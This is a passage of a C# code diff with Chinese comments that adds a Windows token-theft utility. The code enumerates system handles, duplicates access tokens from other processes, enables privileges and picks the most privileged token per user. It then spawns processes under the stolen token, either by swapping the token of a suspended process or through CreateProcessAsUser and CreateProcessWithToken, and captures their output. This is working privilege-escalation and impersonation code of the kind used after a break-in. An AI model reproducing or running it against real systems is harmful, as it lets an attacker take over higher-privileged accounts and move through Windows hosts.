(uint)ProcessCreateFlags.CREATE_SUSPENDED; + newDwCreationFlags |= (uint)ProcessCreateFlags.CREATE_UNICODE_ENVIRONMENT; + if (NativeMethod.CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles, newDwCreationFlags, IntPtr.Zero, null, ref startupinfo, out processInformation)) + { + //init PROCESS_ACCESS_TOKEN + uint PROCESS_ACCESS_TOKEN_SIZE = (uint)Marshal.SizeOf(typeof(PROCESS_ACCESS_TOKEN)); + PROCESS_ACCESS_TOKEN processAccessToken = new PROCESS_ACCESS_TOKEN(); + IntPtr tokenInfoPtr = Marshal.AllocHGlobal((int)PROCESS_ACCESS_TOKEN_SIZE); + processAccessToken.Token = this.TokenHandle; + processAccessToken.Thread = processInformation.hThread; + Marshal.StructureToPtr(processAccessToken, tokenInfoPtr, false); + + uint status = NativeMethod.NtSetInformationProcess(processInformation.hProcess, PROCESS_INFORMATION_CLASS.ProcessAccessToken, tokenInfoPtr, PROCESS_ACCESS_TOKEN_SIZE); + Marshal.FreeHGlobal(tokenInfoPtr); + if (status == NativeMethod.STATUS_SUCCESS) + { + + if ((dwCreationFlags & (uint)ProcessCreateFlags.PROFILE_USER) == 0) + { + if (NativeMethod.NtResumeProcess(processInformation.hProcess) != NativeMethod.STATUS_SUCCESS) + { + NativeMethod.CloseHandle(processInformation.hThread); + NativeMethod.CloseHandle(processInformation.hProcess); + NativeMethod.NtTerminateProcess(processInformation.hProcess, 0); + processInformation.hProcess = IntPtr.Zero; + processInformation.hThread = IntPtr.Zero; + return false; + } + } + return true; + } + else + { + NativeMethod.CloseHandle(processInformation.hThread); + NativeMethod.CloseHandle(processInformation.hProcess); + NativeMethod.NtTerminateProcess(processInformation.hProcess, 0); + processInformation.hProcess = IntPtr.Zero; + processInformation.hThread = IntPtr.Zero; + } + } + } + + return false; + + + } + + public void Close() + { + if (this.TokenHandle != IntPtr.Zero && !IsClose) + { + IsClose = true; + NativeMethod.CloseHandle(this.TokenHandle); + this.TokenHandle = IntPtr.Zero; + } + } + + public bool ImpersonateLoggedOnUser() + { + if (!IsClose && TokenHandle != IntPtr.Zero) + { + return NativeMethod.ImpersonateLoggedOnUser(this.TokenHandle); + } + + return false; + } + + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX + { // Information Class 64 + public IntPtr ObjectPointer; + public IntPtr ProcessID; + public IntPtr HandleValue; + public uint GrantedAccess; + public ushort CreatorBackTrackIndex; + public ushort ObjectType; + public uint HandleAttributes; + public uint Reserved; + } + + public class TokenuUils + { + private static readonly int tokenType = getTokenType(); + + + public static bool tryAddTokenPriv(IntPtr token, string privName) + { + TokenPrivileges tokenPrivileges = new TokenPrivileges(); + if (NativeMethod.LookupPrivilegeValue(null, privName, out tokenPrivileges.Luid)) + { + + tokenPrivileges.PrivilegeCount = 1; + tokenPrivileges.Attributes = NativeMethod.SE_PRIVILEGE_ENABLED; + int ReturnLength = 0; + NativeMethod.SetLastError(0); + NativeMethod.AdjustTokenPrivileges(token, false, tokenPrivileges, 0, IntPtr.Zero, out ReturnLength); + if (Marshal.GetLastWin32Error() == NativeMethod.ERROR_SUCCESS) + { + return true; + } + } + return false; + } + public static SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX[] ListSystemHandle() + { + + List result = new List(); + uint handleInfoSize = 1024 * 1024; + IntPtr handleInfoPtr = Marshal.AllocHGlobal((int)handleInfoSize); + uint returnSize = 0; + uint status = 0; + while ((status = NativeMethod.NtQuerySystemInformation(NativeMethod.SystemExtendedHandleInformation, handleInfoPtr, handleInfoSize, out returnSize)) == + NativeMethod.STATUS_INFO_LENGTH_MISMATCH) + { + Marshal.FreeHGlobal(handleInfoPtr); + handleInfoPtr = Marshal.AllocHGlobal(new IntPtr(handleInfoSize *= 2)); + } + if (status != NativeMethod.STATUS_SUCCESS) + { + //Console.WriteLine("NtQuerySystemInformation调用失败 ErrCode:" + Marshal.GetLastWin32Error()); + goto ret; + } + _SYSTEM_HANDLE_INFORMATION_EX handleInfo = (_SYSTEM_HANDLE_INFORMATION_EX)Marshal.PtrToStructure(handleInfoPtr, typeof(_SYSTEM_HANDLE_INFORMATION_EX)); + + uint NumberOfHandles = handleInfo.GetNumberOfHandles(); + for (uint i = 0; i < NumberOfHandles; i++) + { + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntry = _SYSTEM_HANDLE_INFORMATION_EX.HandleAt(handleInfoPtr, i); + result.Add(handleEntry); + } + ret: + Marshal.FreeHGlobal(handleInfoPtr); + return result.ToArray(); + } + public static int getTokenType() + { + int ret = -1; + Process currentProcess = Process.GetCurrentProcess(); + WindowsIdentity windowsIdentity = WindowsIdentity.GetCurrent(); + IntPtr currentThreadToken = windowsIdentity.Token; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX[] handles = TokenuUils.ListSystemHandle(); + for (int i = 0; i < handles.Length; i++) + { + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntry = handles[i]; + if (handleEntry.ProcessID.ToInt64() == currentProcess.Id && currentThreadToken == handleEntry.HandleValue) + { + ret = handleEntry.ObjectType; + goto ret; + } + } + ret: + windowsIdentity.Dispose(); + NativeMethod.CloseHandle(currentThreadToken); + currentProcess.Dispose(); + return ret; + } + + public delegate bool ListProcessTokensCallback(ProcessToken processToken); + + public static bool ListProcessTokensDefaultCallback(ProcessToken processToken) + { + return true; + } + + public static ProcessToken[] ListProcessTokens(int targetPid, ListProcessTokensCallback listProcessTokensCallback) + { + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX[] shteis = ListSystemHandle(); + List processTokens = new List(); + IntPtr localProcessHandle = NativeMethod.GetCurrentProcess(); + IntPtr processHandle = IntPtr.Zero; + int lastPid = -1; + for (int i = 0; i < shteis.Length; i++) + { + + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntryInfo = shteis[i]; + int handleEntryPid = (int)handleEntryInfo.ProcessID.ToInt64(); + if (targetPid > 0 && handleEntryPid == targetPid //过滤进程PID + || targetPid <= 0//如果小于等于0就不过滤 + ) + { + + if (lastPid != handleEntryPid) + { + if (processHandle != IntPtr.Zero) + { + NativeMethod.CloseHandle(processHandle); + processHandle = IntPtr.Zero; + } + + processHandle = NativeMethod.OpenProcess(ProcessAccessFlags.DuplicateHandle | ProcessAccessFlags.QueryInformation, false, handleEntryPid); + + if (processHandle != IntPtr.Zero) + { + IntPtr processToken = IntPtr.Zero; + if (NativeMethod.OpenProcessToken(processHandle, NativeMethod.TOKEN_ELEVATION, out processToken)) + { + ProcessToken token = ProcessToken.Cast(IntPtr.Zero, handleEntryPid, processHandle, processToken); + if (token != null) + { + if (listProcessTokensCallback.Invoke(token)) + { + PutToken(processTokens, token); + } + else + { + token.Close(); + goto end; + } + } + } + } + lastPid = handleEntryPid; + + } + + if (processHandle == IntPtr.Zero) + { + continue; + } + + //GrantedAccess 0x0012019f 有可能会导致堵塞 + if (handleEntryInfo.ObjectType != tokenType || handleEntryInfo.GrantedAccess == 0x0012019f) + { + continue; + } + + IntPtr dupHandle = IntPtr.Zero; + if (NativeMethod.DuplicateHandle(processHandle, handleEntryInfo.HandleValue, localProcessHandle, out dupHandle, + NativeMethod.GENERIC_EXECUTE | NativeMethod.GENERIC_READ | NativeMethod.GENERIC_WRITE, false, 0)) + { + + ProcessToken token = ProcessToken.Cast(handleEntryInfo.HandleValue, handleEntryPid, processHandle, dupHandle); + if (token != null) + { + if (listProcessTokensCallback.Invoke(token)) + { + PutToken(processTokens, token); + } + else + { + token.Close(); + goto end; + } + } + } + + + lastPid = handleEntryPid; + } + } + + end: + if (processHandle != IntPtr.Zero) + { + NativeMethod.CloseHandle(processHandle); + } + NativeMethod.CloseHandle(localProcessHandle); + return processTokens.ToArray(); + } + private static void PutToken(List list, ProcessToken processToken) + { + + if (processToken == null) + { + return; + } + + + for (int i = 0; i < list.Count; i++) + { + ProcessToken processTokenNode = list[i]; + if (processTokenNode.UserName == processToken.UserName) + { + if (processToken.ImpersonationLevel > processTokenNode.ImpersonationLevel || + (processToken.ImpersonationLevel >= TokenImpersonationLevel.Impersonation && processToken.ImpersonationLevel > processTokenNode.ImpersonationLevel && (processToken.TokenElevationType == TOKEN_ELEVATION_TYPE.TokenElevationTypeFull || processToken.IntegrityLevel > processTokenNode.IntegrityLevel))) + { + if (!processToken.IsRestricted) + { + processTokenNode.Close(); + list[i] = processToken; + } + } + else + { + processToken.Close(); + } + return; + } + } + list.Add(processToken); + + } + + + public static bool CreateProcess(IntPtr tokenHandle, string commandLine, bool bInheritHandles, uint dwCreationFlags, ref STARTUPINFO startupinfo, out PROCESS_INFORMATION processInformation) + { + TOKEN_TYPE tokenType = ProcessToken.GetTokenType(tokenHandle); + bool isClose = false; + bool isCreate = false; + if (tokenType != TOKEN_TYPE.TokenPrimary) + { + IntPtr tmpTokenHandle = IntPtr.Zero; + if (NativeMethod.DuplicateTokenEx(tokenHandle, NativeMethod.TOKEN_ELEVATION, IntPtr.Zero, TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenPrimary, + out tmpTokenHandle)) + { + isClose = true; + tokenHandle = tmpTokenHandle; + } + } + + if (NativeMethod.CreateProcessAsUserW(tokenHandle, null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles, dwCreationFlags + , IntPtr.Zero, null, ref startupinfo, out processInformation)) + { + isCreate = true; + }else if (NativeMethod.CreateProcessWithTokenW(tokenHandle, 0, null, commandLine, dwCreationFlags, IntPtr.Zero, null, ref startupinfo, + out processInformation)) + { + isCreate = true; + } + + if (isClose) + { + NativeMethod.CloseHandle(tokenHandle); + } + + return isCreate; + + } + public static void createProcessReadOut(TextWriter consoleWriter, IntPtr tokenHandle, string commandLine) + { + IntPtr childProcessStdOutRead = IntPtr.Zero; + IntPtr childProcessStdOutWrite = IntPtr.Zero; + + FileStream childProcessReadStream = null; + + PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION(); + + //初始化安全属性 + SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); + + securityAttributes.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES)); + securityAttributes.pSecurityDescriptor = IntPtr.Zero; + securityAttributes.bInheritHandle = true; + + //初始化子进程输出 + + if (!NativeMethod.CreatePipe(out childProcessStdOutRead, out childProcessStdOutWrite, + ref securityAttributes, 8196)) + { + goto end; + } + + + STARTUPINFO startupInfo = new STARTUPINFO(); + startupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO)); + startupInfo.hStdError = childProcessStdOutWrite; + startupInfo.hStdOutput = childProcessStdOutWrite; + startupInfo.hStdInput = IntPtr.Zero; + startupInfo.dwFlags = (int)NativeMethod.STARTF_USESTDHANDLES; + + NativeMethod.SetHandleInformation(childProcessStdOutRead, NativeMethod.HANDLE_FLAG_INHERIT, NativeMethod.HANDLE_FLAG_INHERIT); + NativeMethod.SetHandleInformation(childProcessStdOutWrite, NativeMethod.HANDLE_FLAG_INHERIT, NativeMethod.HANDLE_FLAG_INHERIT); + + + + if (CreateProcess(tokenHandle, commandLine, true, (uint)ProcessCreateFlags.CREATE_NO_WINDOW, ref startupInfo, + out processInformation)) + { + consoleWriter.WriteLine($"[*] process start with pid {processInformation.dwProcessId}"); + + NativeMethod.CloseHandle(childProcessStdOutWrite); + childProcessStdOutWrite = IntPtr.Zero; + + childProcessReadStream = new FileStream(childProcessStdOutRead, FileAccess.Read, false); + + byte[] readBytes = new byte[4096]; + uint bytesAvail = 0; + uint BytesLeftThisMessage = 0; + uint bytesRead = 0; + int read = 0; + + while (true) + { + if (!NativeMethod.PeekNamedPipe(childProcessStdOutRead, readBytes, (uint)readBytes.Length, + ref bytesRead, ref bytesAvail, ref BytesLeftThisMessage)) + { + break; + } + + if (bytesAvail > 0) + { + read = childProcessReadStream.Read(readBytes, 0, readBytes.Length); + consoleWriter.Write(Encoding.Default.GetChars(readBytes, 0, read)); + } + + } + + + } + else + { + consoleWriter.WriteLine($"[!] Cannot create process Win32Error:{Marshal.GetLastWin32Error()}"); + } + end: + if (childProcessReadStream != null) + { + childProcessReadStream.Close(); + } + if (processInformation.hProcess != IntPtr.Zero) + { + NativeMethod.CloseHandle(processInformation.hProcess); + } + if (processInformation.hThread != IntPtr.Zero) + { + NativeMethod.CloseHandle(processInformation.hThread); + } + if (childProcessStdOutRead != IntPtr.Zero) + { + NativeMethod.CloseHandle(childProcessStdOutRead); + } + if (childProcessStdOutWrite != IntPtr.Zero) + { + NativeMethod.CloseHandle(childProcessStdOutWrite); + } + } + + + } + + + +}